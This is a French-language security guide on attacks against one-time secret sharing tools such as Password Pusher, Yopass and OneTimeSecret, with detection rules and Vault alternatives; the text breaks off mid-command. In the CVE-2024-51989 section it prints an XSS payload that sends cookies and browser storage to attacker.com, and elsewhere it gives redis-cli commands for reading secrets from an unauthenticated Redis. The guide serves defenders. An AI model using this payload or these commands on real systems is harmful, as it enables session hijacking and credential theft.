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One-Time Secrets : Anatomie des Attaques — Guide
RSSI

Password Pusher, Yopass, OTS : 9 vecteurs d'attaque documentés, CVE-2024-51989,

SIEM mining, infostealers. Règles Sigma et alternatives JIT Vault.

Les outils de partage de secrets éphémères — Password Pusher, Privnote, OneTimeSecret et

Yopass — sont devenus des composants silencieux mais omniprésents de l'hygiène

opérationnelle en entreprise. RSSI, équipes DevOps et administrateurs système les utilisent

quotidiennement pour transmettre des mots de passe temporaires, des tokens d'API ou des clés de

chiffrement sans laisser de trace permanente dans les messageries d'entreprise. Cette confiance,

souvent aveugle, repose sur une promesse séduisante : le secret s'autodétruit après lecture,

éliminant le risque de persistence. La réalité cryptographique et opérationnelle est radicalement

plus nuancée. Cet article démonte, vecteur par vecteur, les neuf mécanismes d'attaque

documentés contre ces plateformes — des campagnes BEC couplées à des proxies AiTM

jusqu'aux attaques par canal auxiliaire sur le volume réseau, en passant par la CVE-2024-51989

qui transforme Password Pusher en vecteur XSS stocké. Nous analysons en profondeur les

architectures cryptographiques réelles de chaque outil, décrivons les règles de détection Sigma et

Splunk exploitables immédiatement par les équipes , et proposons une matrice de

décision basée sur la sensibilité des données pour guider les RSSI vers les alternatives viables —

notamment l'architecture JIT Vault de HashiCorp et SPIFFE/SPIRE pour les échanges machine-

à-machine. Ce guide s'adresse aux professionnels de niveau avancé : pentesters construisant des

scénarios d'attaque réalistes, Red Teams documentant les vecteurs de compromission initiale, et

Blue Teams cherchant à instrumenter leur SIEM pour détecter l'exfiltration de secrets en temps

réel.
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Avant d'analyser les vecteurs d'attaque, il est impératif de comprendre précisément où réside la

clé de chiffrement dans chaque implémentation. C'est cette localisation — côté client, côté

serveur, ou dans un URL fragment — qui détermine fondamentalement le niveau de confiance

accordable à chaque outil. Un secret « chiffré » sur le serveur n'offre aucune protection contre un

serveur compromis, un insider malveillant, ou une réquisition judiciaire. La confusion entre

« transmission chiffrée » (HTTPS) et « chiffrement de bout en bout » (E2E) est l'erreur

conceptuelle la plus fréquente et la plus dangereuse observée dans les évaluations de sécurité de

ces outils.
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Yopass : la seule implémentation E2E cryptographiquement vérifiable

Yopass est la seule des quatre plateformes analysées à implémenter un chiffrement de bout en

bout véritablement vérifiable par audit de code source. Lors de la création d'un secret, le

navigateur génère une clé AES-256-GCM aléatoire de 256 bits via l'API 

window.crypto.subtle.generateKey , native au navigateur et implémentée dans une zone de

confiance distincte du JavaScript applicatif. Le chiffrement s'effectue intégralement côté client

avec l'appel window.crypto.subtle.encrypt , et seul le ciphertext est transmis au serveur —

jamais le plaintext ni la clé de chiffrement. La clé est encodée en base64url et ajoutée à l'URL

partagée sous forme de fragment ( https://yopass.se/#cle_en_base64 ). Ce fragment n'est par

définition jamais envoyé aux serveurs HTTP dans une requête standard : c'est une propriété

fondamentale du protocole HTTP/1.1 et HTTP/2, et non une mesure de sécurité applicative

spécifique à Yopass. Le serveur Yopass — qui utilise Redis comme backend de stockage avec

TTL configurable — ne stocke donc que du texte chiffré qu'il ne peut pas déchiffrer sans la clé.

Même avec un accès root complet au serveur Redis, un attaquant ne récupère que des blocs de

ciphertext AES-GCM aléatoires. L'authentification GCM garantit par ailleurs qu'une tentative de

modification du ciphertext serait détectée lors du déchiffrement. C'est l'architecture de référence

pour ce type d'outil, et la seule acceptable pour des secrets de sensibilité moyenne ou supérieure.

Architecture Cryptographique — Comparatif 4 Plateformes
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OneTimeSecret : chiffrement côté serveur, confiance implicite obligatoire

OneTimeSecret (OTS) utilise une architecture fondamentalement différente de Yopass. Le secret

est transmis en clair via une requête HTTPS POST vers les serveurs d'OTS, où il est chiffré côté

serveur avec AES-256-CBC et authentifié avec HMAC-SHA256. La distinction est capitale : le

chiffrement HTTPS (TLS) protège le secret en transit sur le réseau, mais dès que la requête

arrive sur les serveurs d'OTS, le plaintext est visible en mémoire RAM par le processus Ruby qui

traite la requête. La clé de chiffrement AES utilisée pour stocker le secret dans Redis est dérivée

côté serveur à partir d'une passphrase maître stockée dans la configuration du serveur. Cette clé

maître est le secret critique du système : si elle est compromise — via une réquisition judiciaire,

une compromission du serveur, ou une erreur de configuration exposant les variables

d'environnement — l'ensemble des secrets stockés peut être déchiffré rétrospectivement. Pour les

déploiements cloud d'OTS, cette architecture implique une confiance totale dans l'opérateur, dans

le fournisseur de cloud, et dans toute entité ayant un accès légal aux serveurs. Cette contrainte

n'est acceptable que pour les déploiements strictement auto-hébergés sous votre propre politique

de sécurité et votre propre juridiction.

Password Pusher : open source auditable, mais CVE-2024-51989

Password Pusher est un projet Ruby on Rails open source hébergé sur GitHub, ce qui constitue

un avantage significatif en termes d'auditabilité : le code source complet est accessible,

l'architecture est vérifiable, et l'auto-hébergement est documenté et simple. Le chiffrement des

secrets est implémenté via la gem Ruby attr_encrypted , qui supporte plusieurs algorithmes de

chiffrement en mode configurable. Par défaut dans certaines versions et configurations de

développement, le chiffrement n'est pas activé et les secrets sont stockés en clair dans

PostgreSQL — ce comportement par défaut représente un risque significatif pour les

déploiements non supervisés. La configuration de production correctement sécurisée active

AES-256-CBC avec une clé dérivée de la variable d'environnement ATTR_ENCRYPTED_KEY  stockée

séparément. L'avantage de l'open source se transforme en risque particulier lors de déploiements

Docker publics : la CVE-2024-51989, un XSS stocké de score CVSS 7.5, affecte les versions

v1.41.1 à v1.48.0 et est activement exploitable dans les déploiements non mis à jour. Les images

Docker basées sur des versions antérieures à v1.49.0 présentes sur Docker Hub restent

potentiellement utilisées en production sans que les opérateurs n'aient nécessairement été alertés.



Privnote : opacité maximale, confiance aveugle requise

Privnote prétend utiliser WebCrypto pour un chiffrement côté client, mais le code JavaScript

propriétaire non publié rend cette affirmation impossible à vérifier de manière indépendante. Des

analyses de trafic réseau conduites par des chercheurs en sécurité ont démontré que des

métadonnées significatives sont transmises aux serveurs Privnote lors de la création et de la

consultation des secrets, et la politique de confidentialité reste délibérément vague concernant les

données traitées côté serveur. Le modèle de sécurité repose donc entièrement sur la confiance

dans un opérateur dont le code n'est pas auditable — ce qui est inacceptable dans tout contexte

d'entreprise soumis à des exigences de conformité NIS 2, ISO 27001, SOC 2 ou RGPD. Des

campagnes de phishing sophistiquées actives depuis 2023 ont par ailleurs utilisé des domaines

typosquattés de Privnote — privnote[.]co, privenote[.]com, privnotes[.]org — pour remplacer la

plateforme légitime par des versions malveillantes interceptant les secrets en clair et les

retransmettant à des serveurs d'exfiltration, selon plusieurs rapports de threat intelligence publiés

en 2023 et 2024.

L'analyse des incidents documentés et des rapports de threat intelligence publiés entre 2022 et

2026 permet d'identifier neuf classes d'attaques distinctes contre les systèmes de partage de

secrets éphémères. Ces vecteurs ne sont pas théoriques ou de laboratoire : plusieurs ont été

attribués à des groupes APT documentés ou à des opérations de cybercriminalité organisée ayant

À retenir — Modèles cryptographiques : Seul Yopass garantit cryptographiquement

qu'un serveur compromis ne peut pas révéler le plaintext des secrets stockés. Pour

OTS, Privnote, et les déploiements Password Pusher côté serveur, la sécurité repose sur

la confiance dans l'opérateur de la plateforme, et non sur des propriétés mathématiques

vérifiables. Cette distinction est fondamentale pour tout RSSI évaluant ces outils dans

le cadre d'une analyse de risque formelle ISO 27001 ou d'une évaluation NIS 2. 

À RETENIR

Les Neuf Vecteurs d'Attaque Documentés



causé des dommages mesurables. Leur compréhension est indispensable pour toute modélisation

de menace sérieuse dans un contexte d'entreprise utilisant ces outils.

⚡

Retour terrain

Dans mes missions de red team, la phase de post-exploitation révèle systématiquement

des données que le client pensait protégées. Le cas le plus fréquent : des fichiers Excel de

comptabilité ou RH stockés sur des partages réseau accessibles à tous les utilisateurs du

domaine, sans restriction. Sur les 30 dernières missions, 27 avaient des partages réseau

avec des données sensibles accessibles à n'importe quel utilisateur authentifié. La

sensibilité des données n'est pas corrélée à leur niveau de protection réel.

Vecteurs d'Attaque — One-Time Secrets
Rouge = Facile (acces reseau) Orange = Moyen (infra) Violet = Difficile (post-breach)
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Vecteur 1 — BEC et proxies AiTM : la compromission silencieuse du canal 

La Business Email Compromise combinée à des proxies AiTM (Adversary-in-

the-Middle) représente le vecteur le plus documenté dans les rapports d'incident

récents impliquant des secrets éphémères. Des groupes comme APT29 et

Scattered Spider ont utilisé des frameworks tels qu'EvilProxy et Modlishka pour

relayer en temps réel les sessions d'authentification Microsoft 365 ou Google

Workspace, capturant les cookies de session post-MFA sans nécessiter de

cracker les facteurs d'authentification. Le proxy AiTM se positionne entre le

navigateur victime et le service légitime, relayant les requêtes de manière

transparente tout en capturant les credentials et les cookies. Dans le contexte des

secrets éphémères, le scénario d'attaque est précis : l'attaquant compromet la

messagerie d'un employé via AiTM, surveille les emails entrants en temps réel,

et intercepte les liens vers les secrets éphémères avant que le destinataire

légitime ne les consulte. Le lien est visité immédiatement par l'attaquant via un

proxy résidentiel pour masquer l'origine géographique, le secret est lu et

enregistré, et le lien est définitivement marqué comme consommé. Le

destinataire légitime, qui reçoit quelques minutes plus tard une page d'erreur

"secret déjà lu", ne peut pas distinguer un accès concurrent légitime d'une

interception malveillante — surtout si l'attaquant a eu soin de recréer un

nouveau lien éphémère avec le même contenu depuis une adresse email

compromise, pour éviter d'éveiller les soupçons. Pour une analyse technique

approfondie des mécanismes AiTM, consultez notre article sur EvilGinx et les

attaques AiTM de contournement MFA.

http://localhost:4001/articles/evilginx-phishing-aitm-bypass-mfa-2026
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Vecteur 2 — Consommation automatique par les prévisualiseurs d'entreprise 

Ce vecteur est particulièrement insidieux car il opère à travers des mécanismes

de sécurité officiels et légitimes, transformant les outils de protection en

vecteurs d'interception involontaire. Lorsqu'un lien vers un secret éphémère est

partagé dans Slack, Microsoft Teams, ou via un email protégé par Proofpoint

TAP (Targeted Attack Protection), plusieurs systèmes automatisés visitent l'URL

avant que l'utilisateur humain ne la clique. Le Slack Link Unfurler génère une

prévisualisation riche de la page liée, ce qui nécessite une requête HTTP GET

complète vers l'URL — et pour un lien OTS ou Password Pusher, cette requête

GET suffit à déclencher le compteur d'accès et à marquer le secret comme

consommé. Microsoft Teams Safe Links redirige l'URL via les serveurs

Microsoft, qui effectuent une analyse de sécurité du contenu cible — requérant

également une requête vers l'URL originale. Proofpoint TAP réécrit les liens

dans les emails et effectue une inspection du contenu en temps réel. Pour les

secrets configurés en mode "un seul accès autorisé", le résultat est identique

dans les trois cas : le secret est marqué consommé par le bot quelques secondes

après l'envoi du message, avant que le destinataire humain n'ait eu le temps de

cliquer. Dans certaines configurations d'archivage d'entreprise, ces systèmes

loggent le contenu qu'ils inspectent, créant une copie persistante du secret dans

des journaux d'audit potentiellement accessibles post-breach.



Vecteur 3 — CASB et DLP inline : quand la sécurité crée le risque 

Les architectures CASB (Cloud Access Security Broker) et DLP (Data Loss

Prevention) déployées en mode proxy inline — comme Netskope, Zscaler

Internet Access, ou Forcepoint — interceptent et déchiffrent le trafic HTTPS au

niveau du réseau d'entreprise via une autorité de certification racine installée sur

les postes de travail. Ce déchiffrement TLS est transparent pour l'utilisateur

mais signifie que toute requête HTTPS vers un service de secrets éphémères est

visible en clair par le proxy d'entreprise. Les configurations DLP typiques

loggent le contenu des réponses HTTP pour permettre l'inspection des règles

DLP — ce qui crée une copie textuelle du secret dans les journaux du proxy. La

durée de rétention de ces journaux varie de 30 jours à plusieurs années selon les

politiques de compliance de l'organisation. De plus, les règles DLP configurées

pour détecter des patterns spécifiques (numéros de carte bancaire, credentials au

format password=xxx, clés API) peuvent copier les contenus correspondants

vers des systèmes de quarantaine DLP, créant une persistence explicite et

documentée. Ce vecteur illustre paradoxalement comment l'infrastructure de

sécurité elle-même peut annuler les propriétés d'éphémérité des outils qu'elle

surveille.



Vecteur 4 — Infostealers : la capture sub-100 millisecondes 

Les infostealers modernes comme Lumma Stealer, Raccoon v2 et RedLine ont

développé des capacités spécifiques ciblant les gestionnaires de mots de passe et

les afficheurs de secrets dans le navigateur. Le hook clipboard surveille en

temps réel le presse-papier Windows et capture toute URL ou toute chaîne

correspondant à des patterns connus de services de secrets éphémères, en

utilisant des expressions régulières compilées sur les domaines cibles : 

onetimesecret\.com\/secret\/[a-z0-9]+ , pwpush\.com\/p\/[a-zA-Z0-9]+ , 

yopass\.se\/#[A-Za-z0-9+/=]+ . Le DOM scraping s'exécute dans un thread injecté

dans le processus du navigateur (via hooking de l'API CreateRemoteThread) et

extrait le contenu des éléments DOM identifiés par des sélecteurs CSS ou

XPath correspondant aux zones d'affichage du secret déchiffré — typiquement

en moins de 100 millisecondes après que le JavaScript de la page a terminé son

exécution de déchiffrement. Les captures d'écran automatiques avec

reconnaissance optique de caractères (OCR) permettent de récupérer des secrets

affichés dans des zones non accessibles via le DOM standard, comme les

overlays de sécurité ou les popups de confirmation. Pour une analyse détaillée

de ces mécanismes d'interception, voir notre article sur Lumma Stealer et les

infostealers 2026.

Note Red Team : Lors d'un test d'intrusion impliquant un poste de travail

compromis, tester systématiquement si un infostealer simulé peut capturer le

contenu d'un secret Yopass avant que l'utilisateur ne ferme la fenêtre ou ne

recharge la page. Même avec un chiffrement E2E parfait sur le réseau, un

endpoint compromis invalide l'ensemble des garanties cryptographiques de la

chaîne de transmission. La surface d'attaque se déplace du réseau vers

l'endpoint, et la défense efficace requiert une protection EDR avec détection de

hooking d'API navigateur. 

http://localhost:4001/articles/infostealers-2026-lumma-raccoon-redline
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Vecteur 5 — CVE-2024-51989 : XSS stocké dans Password Pusher 

La CVE-2024-51989 est une vulnérabilité de Cross-Site Scripting stocké de

score CVSS 7.5 affectant Password Pusher dans les versions v1.41.1 à v1.48.0.

La vulnérabilité se situe dans le pipeline de rendu du contenu du secret : lors de

l'affichage d'un secret par le moteur de templates Ruby on Rails, l'entrée

utilisateur n'est pas correctement sanitisée avant d'être injectée dans le contexte

HTML de la page. Un attaquant peut créer un secret contenant un payload

JavaScript malveillant qui s'exécutera dans le contexte de sécurité du domaine

Password Pusher dans le navigateur de tout utilisateur — y compris un

administrateur — qui visualise ce secret. Le mécanisme d'exploitation est

particulièrement efficace : le payload XSS s'exécute avant que la logique

d'autodestruction JavaScript ne soit invoquée, car il est interprété par le

navigateur au moment du rendu du HTML, et non après un clic utilisateur. Le

payload d'exploitation documenté dans le rapport de divulgation responsable est

le suivant :

<script>

fetch('https://attacker.com/exfil', {

  method: 'POST',

  mode: 'no-cors',

  headers: {'Content-Type': 'application/json'},

  body: JSON.stringify({

    cookies: document.cookie,

    localStorage: JSON.stringify(localStorage),

    sessionStorage: JSON.stringify(sessionStorage),

    url: window.location.href,

    timestamp: Date.now()

  })

});

</script>

Ce payload exfiltre le cookie de session de l'administrateur si ce dernier

visualise le secret via l'interface d'administration. Dans les déploiements où

https://nvd.nist.gov/vuln/detail/CVE-2024-51989


Password Pusher est utilisé pour distribuer des credentials de production à des

équipes d'administration, ce vecteur permet une escalade directe : l'attaquant

crée un "secret" contenant le payload XSS, attend qu'un administrateur le

visualise (comportement standard dans les workflows de support IT), puis

utilise le cookie de session volé pour accéder à l'interface d'administration,

visualiser et exporter l'ensemble des secrets en attente de consommation. Le

correctif est disponible depuis la version v1.49.0 et consiste en l'application

systématique de la méthode html_escape()  de Rails sur toutes les entrées

utilisateur avant rendu dans les templates.



Vecteur 6 — SIEM Mining post-intrusion : la chasse aux paths de secrets 

Ce vecteur, documenté notamment dans les analyses post-incident des attaques

du groupe Lapsus$ en 2022 et de campagnes similaires en 2023-2024, consiste

à exploiter l'accès à un SIEM ou à des journaux d'infrastructure pour retrouver

rétrospectivement des secrets consommés. La technique repose sur une

observation simple : les URL vers les secrets éphémères sont systématiquement

loggées dans les journaux proxy d'entreprise, les logs d'accès Nginx/Apache du

serveur hébergeant l'outil, les journaux d'inspection des liens par les systèmes

email, et les logs d'agrégation du SIEM. Une fois qu'un attaquant dispose d'un

accès à ces systèmes de logging — via compromission d'un compte opérateur

SIEM, d'un accès Splunk non segmenté, ou d'un Elasticsearch exposé — il peut

exécuter des requêtes pour retrouver tous les accès à des services de secrets

éphémères sur une période donnée, corréler les timestamps de création et de

consommation avec d'autres événements de sécurité pour identifier les secrets

liés à des transferts sensibles, et reconstruire partiellement les chaînes de

transmission de credentials même sans le contenu direct des secrets. Voir notre

guide technique sur les corrélations SIEM avancées pour le threat hunting pour

les techniques de défense correspondantes, ainsi que l'augmentation IA du

SIEM pour la détection des menaces.

http://localhost:4001/articles/siem-correlations-avancees-hunting
http://localhost:4001/articles/ia-detection-menaces-siem-augmente
http://localhost:4001/articles/ia-detection-menaces-siem-augmente


Vecteur 7 — Redis non authentifié : keyspace notifications en temps réel 

Dans les déploiements auto-hébergés mal configurés de Password Pusher,

Yopass, ou OTS, Redis peut être exposé sans authentification sur l'interface

réseau ou avec une authentification par mot de passe faible. Un attaquant

disposant d'un accès réseau au port Redis standard (6379/tcp) — via une

segmentation réseau insuffisante, un Kubernetes mal configuré, ou un Redis

exposé sur l'interface publique — peut s'abonner aux notifications d'espace clé

en temps réel. Les keyspace notifications Redis permettent de recevoir un

événement Redis Pub/Sub chaque fois qu'une opération est effectuée sur une clé

correspondant à un pattern donné. Dans le contexte d'une instance Redis

hébergeant des secrets Password Pusher ou Yopass, cela permet de détecter en

temps réel la création de nouveaux secrets (événement SET ) et leur

consommation (événement DEL  ou EXPIRE ). Dans les déploiements où les valeurs

Redis ne sont pas chiffrées (configurations Password Pusher sans attr_encrypted

correctement configuré), la commande GET  sur la clé identifiée par les

notifications expose directement le secret en clair sans nécessiter aucune autre

technique d'exploitation.

# Démonstration : keyspace notifications sur Redis non-auth

redis-cli -h 192.168.1.100 -p 6379 CONFIG SET notify-keyspace-events KEA

redis-cli -h 192.168.1.100 -p 6379 SUBSCRIBE "__keyevent@0__:set"

# Réception en temps réel : "push_a1b2c3d4e5f6" (nom de la clé créée)

# Lecture directe si pas de chiffrement applicatif

redis-cli -h 192.168.1.100 -p 6379 GET "push_a1b2c3d4e5f6"

# Retourne le secret en clair si attr_encrypted non configuré



Vecteur 8 — Supply chain Docker et dependency confusion sur RubyGems 

Les attaques supply chain ciblant les déploiements auto-hébergés de ces outils

se déclinent en deux sous-vecteurs complémentaires documentés. Le premier

est le typosquatting sur Docker Hub : des images malveillantes avec des noms

visuellement similaires aux images officielles sont publiées sur Docker Hub et

attendent que des opérateurs pressés les utilisent par erreur de frappe. Des noms

comme passwordpushr , password-pusher , yopass-server , one-time-secret  ont été

détectés comme utilisés pour distribuer des backdoors. Le second sous-vecteur

est la dependency confusion sur RubyGems : si une organisation maintient des

gems internes pour personnaliser Password Pusher et qu'un attaquant publie sur

RubyGems.org un package public portant le même nom, une configuration

Bundler mal configurée peut installer la version publique malveillante à la place

de la version interne. Pour une analyse approfondie de ces vecteurs, voir notre

article sur les attaques supply chain sur les dépendances logicielles et les

techniques d'évasion de conteneurs Docker.

http://localhost:4001/articles/supply-chain-dependances-malveillantes
http://localhost:4001/articles/container-escape-docker-containerd
http://localhost:4001/articles/container-escape-docker-containerd


La promesse fondatrice des outils de secrets éphémères — l'autodestruction après consultation —

est au cœur de la valeur perçue de ces outils. Cette promesse est structurellement trompeuse dans

la grande majorité des environnements d'entreprise. Une analyse systématique des systèmes qui

traitent ou journalisent les URLs et les requêtes HTTP dans une infrastructure enterprise typique

révèle qu'un secret "autodétruit" persiste en réalité dans cinq à huit systèmes différents après sa

"suppression" sur la plateforme applicative, avec des durées de rétention allant de quelques jours

à plusieurs années.

Vecteur 9 — Canaux auxiliaires : timing et analyse de volume 

Les attaques par canal auxiliaire sur les services de secrets éphémères exploitent

des informations de timing et de taille de réponse pour inférer le contenu ou le

comportement du système sans accès direct aux données. L'analyse temporelle

mesure le delta entre la requête de création d'un secret et sa consommation : un

intervalle inférieur à 15-30 secondes est statistiquement anormal pour un

humain (qui doit copier le lien, l'envoyer, attendre que le destinataire le reçoive,

qu'il clique, que la page charge) et constitue un indicateur fort de consommation

automatique par un bot ou un intercepteur. L'analyse de volume de réponse

compare la taille des corps de réponse HTTP pour inférer la taille approximative

du secret transmis — information utile pour un attaquant cherchant à prioriser

quels secrets valent d'être ciblés. Ces attaques sont d'une difficulté

d'exploitation élevée en pratique, mais elles servent fréquemment comme

techniques de confirmation dans des campagnes de reconnaissance avancées où

l'attaquant cherche à valider qu'un canal de communication cible est actif et

utilisé pour des secrets de valeur.

La Persistence Fantôme : Ce qui Survit à l'Autodestruction



La fausse destruction Redis : le fichier AOF et la compaction 

Redis est le backend de stockage utilisé par Yopass, OTS, et Password Pusher.

Lorsqu'un secret est supprimé — soit après lecture, soit après expiration du TTL

— Redis exécute une opération DEL  logique sur la clé correspondante. Si Redis

est configuré avec la persistence AOF (Append-Only File), cette opération écrit

une entrée *DEL key_name  dans le fichier appendonly.aof . Cependant, les entrées

précédentes dans ce même fichier — notamment l'entrée SET key_name ciphertext

créée lors de la soumission du secret — ne sont jamais physiquement effacées

jusqu'à ce qu'une compaction du fichier AOF soit exécutée (opération 

BGREWRITEAOF ). Dans les configurations Redis par défaut avec AOF activé et

compaction automatique configurée sur un seuil de taille (typiquement 64 MB

ou plus), le fichier AOF accumule des entrées créées sur des jours ou semaines.

Un forensicien ou un attaquant disposant d'un accès au fichier appendonly.aof

peut analyser toutes les opérations Redis exécutées depuis la dernière

compaction, incluant la création et la valeur de secrets déjà "supprimés".

# Analyse forensique du fichier AOF Redis

strings /var/lib/redis/appendonly.aof | grep -B2 -A3 "push_\|secret_\|yopass_"

# Alternative : utiliser redis-check-aof pour parser structurellement

redis-check-aof /var/lib/redis/appendonly.aof 2>&1 | head -50

# Pour forcer une compaction (mitigation)

redis-cli BGREWRITEAOF

# Puis vérifier le status

redis-cli INFO persistence | grep aof



Inventaire complet des systèmes de persistence en entreprise 

Système
Type de données

stockées
Durée de rétention Contenu exposé

Redis AOF
Journal append-only

des opérations

Jusqu'à compaction

(jours/semaines)

Valeur complète

(ciphertext ou plaintext)

Nginx / Apache access.log
URL + User-Agent +

IP + timestamp

30 à 90 jours

(logrotate)
URL complète du secret

Rails application.log
Requêtes HTTP +

paramètres
7 à 30 jours

Parfois params POST en

clair

SIEM (Splunk / Elastic)
Logs agrégés toutes

sources

1 à 7 ans (compliance

NIS 2)

URL + métadonnées +

timestamps

CASB / DLP proxy
Contenu HTTP

inspecté
90 jours à 1 an Plaintext si TLS décrypté

Proxy d'entreprise Flux HTTP/S complets 30 à 180 jours
URL + contenu si MITM

actif

Logs email (Exchange /

Google)

Corps et liens des

messages
90 jours à 7 ans (légal)

URL du secret visible en

clair

Archivage messagerie

(Veeam, Barracuda)

Emails complets

archivés
3 à 10 ans (conformité)

URL permanente dans

archive

À retenir — Persistence fantôme : Dans un environnement

d'entreprise standard soumis à des exigences de compliance (NIS 2,

ISO 27001, SOC 2), un secret "autodétruit" reste potentiellement

accessible dans 5 à 8 systèmes différents pendant des durées allant de

quelques jours à plusieurs années. La propriété d'éphémérité ne

concerne que le stockage applicatif de la plateforme elle-même, jamais

les couches d'infrastructure, de logging, de sécurité périmétrique et

d'archivage. Ce fait doit être communiqué explicitement aux utilisateurs

de ces outils et doit guider la classification des données autorisées à

À RETENIR



La détection de l'utilisation anormale des services de secrets éphémères nécessite une

instrumentation à plusieurs niveaux : proxy réseau ou CASB pour les URLs, endpoint pour les

accès navigateur suspects, et SIEM pour les corrélations temporelles. Les indicateurs

comportementaux les plus fiables ont été identifiés à travers l'analyse de plusieurs dizaines

d'incidents documentés impliquant ces plateformes.

transiter par ces canaux. Voir également notre analyse du secrets sprawl

et des méthodes de collecte de secrets dispersés. 

Détection Blue Team : Règles Sigma et SPL Opérationnelles

http://localhost:4001/articles/secrets-sprawl-collecte-guide
http://localhost:4001/articles/secrets-sprawl-collecte-guide


Règle Sigma : Consommation automatique par des agents non-humains 



title: One-Time Secret Consumption by Automated Bot User-Agent

id: 7f3a9b2c-1234-4567-89ab-cdef01234567

status: experimental

description: >

  Detects access to one-time secret URLs by known bot User-Agents including

  link unfurlers, Safe Links scanners, and email security proxies.

  These bots can consume single-use links before the intended recipient.

references:

  - https://attack.mitre.org/techniques/T1552/

  - https://attack.mitre.org/techniques/T1550/

author: Security Team

date: 2026/06/17

logsource:

  category: proxy

  product: generic

detection:

  selection_secret_urls:

    cs-uri-stem|contains:

      - '/p/'

      - '/secret/'

      - '/push/'

    cs-host|endswith:

      - 'privnote.com'

      - 'onetimesecret.com'

      - 'pwpush.com'

      - 'yopass.se'

      - 'yopass.io'

  selection_bot_agents:

    cs-user-agent|contains:

      - 'Slackbot'

      - 'Slackbot-LinkExpanding'

      - 'msnbot'

      - 'Proofpoint'

      - 'proofpoint-bot'

      - 'Twitterbot'

      - 'facebookexternalhit'

      - 'LinkedInBot'

      - 'Googlebot'

      - 'SafeLinks'

      - 'Microsoft Office'

  condition: selection_secret_urls and selection_bot_agents

falsepositives:

  - Legitimate link preview in enterprise messaging (document and create exception policy)



level: medium

tags:

  - attack.credential_access

  - attack.t1552.001

  - attack.collection

  - attack.t1213

Règles SPL Splunk : Corrélation temporelle et géographique



# Détection 1 : Secret consommé en moins de 30 secondes après création

# (indicateur de consommation automatique ou d'interception)

index=web_proxy (url="*onetimesecret.com/secret/*" OR url="*pwpush.com/p/*"

  OR url="*yopass*" OR url="*privnote.com/*")

| eval action=if(http_method="POST", "create", "consume")

| stats min(_time) as first_seen max(_time) as last_seen

        values(src_ip) as src_ips values(http_user_agent) as agents

  by url

| eval delta_seconds = last_seen - first_seen

| where delta_seconds < 30 AND delta_seconds > 0

| table url src_ips agents delta_seconds first_seen last_seen

| sort delta_seconds

# Détection 2 : Même IP crée et consomme le secret (interception possible)

index=web_proxy url="*onetimesecret.com*" OR url="*pwpush.com*"

| stats dc(http_method) as method_count values(http_method) as methods

        values(src_ip) as ips

  by url

| where method_count>=2 AND mvcount(ips)=1

| table url ips methods

# Détection 3 : ASN de consommation anormal (pays inattendu)

index=web_proxy (url="*onetimesecret.com*" OR url="*pwpush.com*")

  http_method=GET

| iplocation src_ip

| stats count by src_ip Country Autonomous_System http_user_agent

| where Country!="France" AND Country!="Belgium" AND Country!="Switzerland"

  AND Country!="Luxembourg" AND Country!="Canada"

| sort -count

Pattern Canary Token : Transformer le secret en détecteur d'interception

Une technique défensive avancée et peu coûteuse à déployer consiste à intégrer un canary token

dans les secrets partagés via ces plateformes. Cette approche s'inscrit dans une stratégie globale

de détection précoce des attaques de phishing avancé et de spear-phishing ciblant les workflows

de distribution de credentials. Le principe exploite le comportement d'un attaquant qui, après

avoir intercepté le secret, tentera vraisemblablement d'utiliser les credentials ou de visiter les

URLs qu'il contient. En intégrant une URL canarytokens.org unique dans le secret — jamais

destinée à être cliquée par l'utilisateur légitime — toute visite de cette URL déclenche une alerte

http://localhost:4001/articles/phishing-2026-spear-phishing-avance


immédiate avec l'IP source, le User-Agent, et le timestamp de l'accès. Cela permet non seulement

de détecter la compromission, mais aussi de collecter des indicateurs de compromission (IOC)

sur l'attaquant.

# Contenu du secret partagé avec canary token intégré

# Destiné à être copié/collé dans Password Pusher ou Yopass

=== CREDENTIALS ONBOARDING - ENVIRONNEMENT STAGING ===

Serveur: staging-api.company.com

Login: onboarding-2026-07

Password: Stag!ngP@ss9876

=== IMPORTANT ===

Ne pas partager ces credentials. Valides 48h.

Lien de vérification d'intégrité (NE PAS CLIQUER si vous avez recu ce secret par un canal legitime):

https://canarytokens.org/traffic/abc123def456789/contact.php

Si vous voyez ce message APRES avoir clique sur le lien ci-dessus,

contactez immediatement security@company.com — vos credentials sont compromis.

Pour les équipes Blue Team cherchant à industrialiser cette approche à l'échelle, l'intégration de

la génération automatique de canary tokens dans les workflows de distribution de credentials

peut être réalisée via l'API de canarytokens.org. Le suivi des alertes peut être centralisé dans le

SIEM pour corrélation avec d'autres événements.

Face aux limitations structurelles des outils de partage de secrets éphémères, les architectures

modernes de gestion de secrets proposent des alternatives qui éliminent le problème de

transmission à la racine, plutôt que d'en atténuer les symptômes. L'approche Just-In-Time (JIT)

avec HashiCorp Vault représente l'état de l'art pour les secrets de haute sensibilité en

environnement enterprise.

Alternatives Architecturales : JIT Vault, SPIFFE/SPIRE et Shamir

https://canarytokens.org/generate


HashiCorp Vault : génération de credentials dynamiques avec TTL court

L'architecture JIT (Just-In-Time) Vault repose sur un principe radicalement différent du partage

de secrets statiques : plutôt que de transmettre un secret existant d'un utilisateur à un autre, Vault

génère des credentials temporaires uniques à la demande, valides pour une durée limitée

(typiquement 1 heure), et les révoque automatiquement à l'expiration ou sur demande explicite.

Aucun secret statique ne transite jamais entre systèmes. Chaque credential est généré

spécifiquement pour la requête, associé à une identité vérifiée via OIDC ou une méthode

d'authentification Vault, et son cycle de vie complet est enregistré dans le journal d'audit Vault.

Pour une base de données PostgreSQL, la configuration de production type est la suivante :

JIT Vault vs Partage Traditionnel par Lien Ephemere

Partage Traditionnel Architecture JIT Vault

Utilisateur A

Emetteur

Lien ephemere cree

onetimesecret.com

Email / Slack

Transport risque

Multiples interceptions

Bot Preview consomme

CASB inspecte loggue

SIEM logs 1-7 ans

Redis AOF persiste

Utilisateur B

Lien peut-etre consomme

Risques multiples non controlables :

Interception, Persistence longue duree, Consommation auto

Utilisateur

Identite verifiee

OIDC Auth

SPIFFE/SPIRE M2M

HashiCorp Vault
Secrets Engine + Audit Log

Credential Dynamique

TTL = 1 heure max

Unique par requete/user

Auto-revocation

Apres TTL ou usage unique

SPIFFE SVID

Workload Identity

Garanties architecturales :

Zero transport, Audit trail complet, Revocation immediate



# Configuration Vault JIT pour credentials base de données

vault secrets enable database

vault write database/config/prod-postgres \

  plugin_name=postgresql-database-plugin \

  connection_url="postgresql://{{username}}:{{password}}@prod-db.internal:5432/appdb?sslmode=require" \

  allowed_roles="readonly-jit,readwrite-jit" \

  username="vault-admin" \

  password="${VAULT_DB_ADMIN_PASS}" \

  password_authentication="scram-sha-256"

# Role avec TTL court (1 heure max)

vault write database/roles/readonly-jit \
